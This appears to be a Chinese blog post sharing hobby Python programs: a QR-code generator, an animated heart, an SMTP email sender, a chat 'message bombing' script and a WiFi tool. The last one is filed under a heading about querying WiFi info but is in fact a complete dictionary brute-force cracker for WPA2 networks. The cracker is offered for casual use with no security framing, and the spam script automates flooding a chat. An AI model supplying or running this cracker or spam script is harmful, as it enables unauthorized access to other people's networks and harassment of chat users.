python是一个很有意思的程序,它可以实现很多不一样的功能,下面,我们就来实现一些很有意思的程序

生成二维码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import os
import pyqrcode
from tkinter import *
from tkinter.filedialog import askdirectory

def selectPath():
path_ = askdirectory()
if path_ == "":
path.get()
else:
path_ = path_.replace("/", "\\")
path.set(path_)


def openPath():
dir = os.path.dirname(path.get()+"\\\\")
os.system('start ' + dir)


def CreateQRCode():
addr = pathshow.get()+'//QRcode.svg'
s = text.get()

# 生成二维码
url = pyqrcode.create(s)

# 保存二维码
url.svg(addr, scale=8)


# 创建根窗口
root = Tk()
root.title("生成快捷二维码")
root.geometry("500x400")

# 设置接收者邮箱输入方输入框
ID1 = Label(root, text="二维码内容:")
ID1.place(relx=0.1, rely=0.2, anchor=CENTER)
text = Entry(root)
text.place(relx=0.5, rely=0.2, anchor=CENTER, width=300, height=25)

# 保存二维码
path = StringVar()
path.set('E:\\')
ID2 = Label(root, text="保存码位置:")
ID2.place(relx=0.1, rely=0.3, anchor=CENTER)
pathshow = Entry(root, textvariable=path, state="readonly")
pathshow.place(relx=0.5, rely=0.3, anchor=CENTER, width=300, height=25)

ChoicePath = Button(root, text="路径选择", command=selectPath)
ChoicePath.place(relx=0.5, rely=0.4, anchor=CENTER, width=300, height=25)
OpenPath = Button(root, text="打开文件位置", command=openPath)
OpenPath.place(relx=0.5, rely=0.5, anchor=CENTER, width=300, height=25)

SureBtn = Button(root, text="生成二维码", command=CreateQRCode)
SureBtn.place(relx=0.5, rely=0.8, anchor=CENTER, width=300, height=25)
root.mainloop()

这个程序可以生成自己所定义的小二维码,里面可以是网页,可以是文字,自由选择,很好玩,具体大家自己搞哈~

画爱心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
import random
from math import sin, cos, pi, log
from tkinter import *

CANVAS_WIDTH = 640
CANVAS_HEIGHT = 480
CANVAS_CENTER_X = CANVAS_WIDTH / 2
CANVAS_CENTER_Y = CANVAS_HEIGHT / 2
IMAGE_ENLARGE = 11
HEART_COLOR = "#FFC0CB" #ff2121


def heart_function(t, shrink_ratio: float = IMAGE_ENLARGE):

x = 16 * (sin(t) ** 3)
y = -(13 * cos(t) - 5 * cos(2 * t) - 2 * cos(3 * t) - cos(4 * t))

x *= shrink_ratio
y *= shrink_ratio

x += CANVAS_CENTER_X
y += CANVAS_CENTER_Y

return int(x), int(y)


def scatter_inside(x, y, beta=0.15):

ratio_x = - beta * log(random.random())
ratio_y = - beta * log(random.random())

dx = ratio_x * (x - CANVAS_CENTER_X)
dy = ratio_y * (y - CANVAS_CENTER_Y)

return x - dx, y - dy


def shrink(x, y, ratio):

force = -1 / (((x - CANVAS_CENTER_X) ** 2 + (y - CANVAS_CENTER_Y) ** 2) ** 0.6) # 这个参数...
dx = ratio * force * (x - CANVAS_CENTER_X)
dy = ratio * force * (y - CANVAS_CENTER_Y)
return x - dx, y - dy


def curve(p):

return 2 * (2 * sin(4 * p)) / (2 * pi)


class Heart:

def __init__(self, generate_frame=20):
self._points = set() # 原始爱心坐标集合
self._edge_diffusion_points = set() # 边缘扩散效果点坐标集合
self._center_diffusion_points = set() # 中心扩散效果点坐标集合
self.all_points = {} # 每帧动态点坐标
self.build(2000)

self.random_halo = 1000

self.generate_frame = generate_frame
for frame in range(generate_frame):
self.calc(frame)

def build(self, number):

for _ in range(number):
t = random.uniform(0, 2 * pi)
x, y = heart_function(t)
self._points.add((x, y))


for _x, _y in list(self._points):
for _ in range(3):
x, y = scatter_inside(_x, _y, 0.05)
self._edge_diffusion_points.add((x, y))


point_list = list(self._points)
for _ in range(4000):
x, y = random.choice(point_list)
x, y = scatter_inside(x, y, 0.17)
self._center_diffusion_points.add((x, y))

@staticmethod
def calc_position(x, y, ratio):

force = 1 / (((x - CANVAS_CENTER_X) ** 2 + (y - CANVAS_CENTER_Y) ** 2) ** 0.520) # 魔法参数

dx = ratio * force * (x - CANVAS_CENTER_X) + random.randint(-1, 1)
dy = ratio * force * (y - CANVAS_CENTER_Y) + random.randint(-1, 1)

return x - dx, y - dy

def calc(self, generate_frame):
ratio = 10 * curve(generate_frame / 10 * pi) # 圆滑的周期的缩放比例

halo_radius = int(4 + 6 * (1 + curve(generate_frame / 10 * pi)))
halo_number = int(3000 + 4000 * abs(curve(generate_frame / 10 * pi) ** 2))

all_points = []

heart_halo_point = set()
for _ in range(halo_number):
t = random.uniform(0, 2 * pi)
x, y = heart_function(t, shrink_ratio=11.6)
x, y = shrink(x, y, halo_radius)
if (x, y) not in heart_halo_point:
heart_halo_point.add((x, y))
x += random.randint(-14, 14)
y += random.randint(-14, 14)
size = random.choice((1, 2, 2))
all_points.append((x, y, size))

for x, y in self._points:
x, y = self.calc_position(x, y, ratio)
size = random.randint(1, 3)
all_points.append((x, y, size))

for x, y in self._edge_diffusion_points:
x, y = self.calc_position(x, y, ratio)
size = random.randint(1, 2)
all_points.append((x, y, size))

for x, y in self._center_diffusion_points:
x, y = self.calc_position(x, y, ratio)
size = random.randint(1, 2)
all_points.append((x, y, size))

self.all_points[generate_frame] = all_points

def render(self, render_canvas, render_frame):
for x, y, size in self.all_points[render_frame % self.generate_frame]:
render_canvas.create_rectangle(x, y, x + size, y + size, width=0, fill=HEART_COLOR)


def draw(main: Tk, render_canvas: Canvas, render_heart: Heart, render_frame=0):
render_canvas.delete('all')
render_heart.render(render_canvas, render_frame)
main.after(160, draw, main, render_canvas, render_heart, render_frame + 1)


if __name__ == '__main__':
root = Tk() # 一个Tk
canvas = Canvas(root, bg='black', height=CANVAS_HEIGHT, width=CANVAS_WIDTH)
canvas.pack()
heart = Heart()
draw(root, canvas, heart)
root.mainloop()

这个程序使用tkinter实现了一个跳动的爱心,并且还有散发的粒子效果,很漂亮,感兴趣的小伙伴一定要试试

发送邮件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

msg_from = '1234566890@qq.com'
passwd = 'jcsfmdcmdhvzdh'#这个在qq邮箱的设置里可以找到并开启,这个就自己找了哈

to = ['111111111111@qq.com']

msg = MIMEMultipart()
content = "这个是个邮件"
msg.attach(MIMEText(content, 'plain', 'utf-8'))
msg['Subject'] = "这个是邮件主题"
msg['From'] = msg_from


s = smtplib.SMTP_SSL("smtp.qq.com", 465)
s.login(msg_from, passwd)
s.sendmail(msg_from, to, msg.as_string())
print("邮件发送成功")

这个程序实现了简单的发送邮件,可以结合上面的那个生成二维码写一个注册的小程序,很有意思

消息轰炸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import time
from pynput import mouse, keyboard
print("准备开始,尽快将鼠标在聊天消息框中点击")
time.sleep(5)
print("开始轰炸!")
m_mouse = mouse.Controller() # 创建一个鼠标
m_keyboard = keyboard.Controller() # 创建一个键盘
#m_mouse.position = (850, 670) # 将鼠标移至相对应位置,这个操作自己在五秒之内点到窗口即可,不需要执行
m_mouse.click(mouse.Button.left) # 点击鼠标左键
send = 50 # 设置重复次数,负数为无限,建议不要这样搞,或许会挨打
while send:
m_keyboard.type("叫我大帅哥,有奖") # 输入相应文字
m_keyboard.press(keyboard.Key.enter) # 点击enter键进行发送
m_keyboard.release(keyboard.Key.enter) # 释放enter键
time.sleep(0.1)
send -= 1
print("轰炸结束")

查询WiFi信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog # 在Gui中打开文件浏览
import tkinter.messagebox # 打开tkiner的消息提醒框


class MY_GUI:
def __init__(self, init_window_name):
self.init_window_name = init_window_name
# 密码文件路径
self.get_value = StringVar() # 设置可变内容
# 获取破解wifi账号
self.get_wifi_value = StringVar()
# 获取wifi密码
self.get_wifimm_value = StringVar()
# 抓取网卡接口
self.wifi = pywifi.PyWiFi()
# 抓取第一个无线网卡
self.iface = self.wifi.interfaces()[0]
# 测试链接断开所有链接
self.iface.disconnect()
time.sleep(1) # 休眠1秒
# 测试网卡是否属于断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

def __str__(self):
# 自动会调用的函数,返回自身的网卡
return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())

# 设置窗口
def set_init_window(self):
self.init_window_name.title("WIFI破解工具")
self.init_window_name.geometry('+500+200')
labelframe = LabelFrame(width=400, height=200, text="配置") # 框架,以下对象都是对于labelframe中添加的
labelframe.grid(column=0, row=0, padx=10, pady=10)
self.search = Button(labelframe, text="搜索附近WiFi", command=self.scans_wifi_list).grid(column=0, row=0)
self.pojie = Button(labelframe, text="开始破解", command=self.readPassWord).grid(column=1, row=0)
self.label = Label(labelframe, text="目录路径:").grid(column=0, row=1)
self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
self.file = Button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1)
self.wifi_text = Label(labelframe, text="WiFi账号:").grid(column=0, row=2)
self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
self.wifi_mm_text = Label(labelframe, text="WiFi密码:").grid(column=2, row=2)
self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,
sticky=W)
self.wifi_labelframe = LabelFrame(text="wifi列表")
self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
# 定义树形结构与滚动条
self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
self.wifi_tree.configure(yscrollcommand=self.vbar.set)
# 表格的标题
self.wifi_tree.column("a", width=50, anchor="center")
self.wifi_tree.column("b", width=100, anchor="center")
self.wifi_tree.column("c", width=100, anchor="center")
self.wifi_tree.column("d", width=100, anchor="center")
self.wifi_tree.heading("a", text="WiFiID")
self.wifi_tree.heading("b", text="SSID")
self.wifi_tree.heading("c", text="BSSID")
self.wifi_tree.heading("d", text="signal")
self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
self.wifi_tree.bind("<Double-1>", self.onDBClick)
self.vbar.grid(row=4, column=1, sticky=NS)

# 搜索wifi
def scans_wifi_list(self): # 扫描周围wifi列表
# 开始扫描
print("^_^ 开始扫描附近wifi...")
self.iface.scan()
time.sleep(15)
# 在若干秒后获取扫描结果
scanres = self.iface.scan_results()
# 统计附近被发现的热点数量
nums = len(scanres)
print("数量: %s" % (nums))
# 实际数据
self.show_scans_wifi_list(scanres)
return scanres

# 显示wifi列表
def show_scans_wifi_list(self, scans_res):
for index, wifi_info in enumerate(scans_res):
self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

# 添加密码文件目录
def add_mm_file(self):
self.filename = tkinter.filedialog.askopenfilename()
self.get_value.set(self.filename)

# Treeview绑定事件
def onDBClick(self, event):
self.sels = event.widget.selection()
self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])

# 读取密码字典,进行匹配
def readPassWord(self):
self.getFilePath = self.get_value.get()
self.get_wifissid = self.get_wifi_value.get()
pwdfilehander = open(self.getFilePath, "r", errors="ignore")
while True:
try:
self.pwdStr = pwdfilehander.readline()
if not self.pwdStr:
break
self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
if self.bool1:
self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdStr)
self.get_wifimm_value.set(self.pwdStr)
tkinter.messagebox.showinfo('提示', '破解成功!!!')
print(self.res)
break
else:
self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdStr)
print(self.res)
time.sleep(3)
except:
continue

# 对wifi和密码进行匹配
def connect(self, pwd_Str, wifi_ssid):
# 创建wifi链接文件
self.profile = pywifi.Profile()
self.profile.ssid = wifi_ssid # wifi名称
self.profile.auth = const.AUTH_ALG_OPEN # 网卡的开放
self.profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
self.profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
self.profile.key = pwd_Str # 密码
self.iface.remove_all_network_profiles() # 删除所有的wifi文件
self.tmp_profile = self.iface.add_network_profile(self.profile) # 设定新的链接文件
self.iface.connect(self.tmp_profile) # 链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
isOK = True
else:
isOK = False
self.iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert self.iface.status() in \
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK


def gui_start():
init_window = Tk()
ui = MY_GUI(init_window)
print(ui)
ui.set_init_window()
init_window.mainloop()


if __name__ == "__main__":
gui_start()

此次分享到此为止,嗷嗷嗷!!!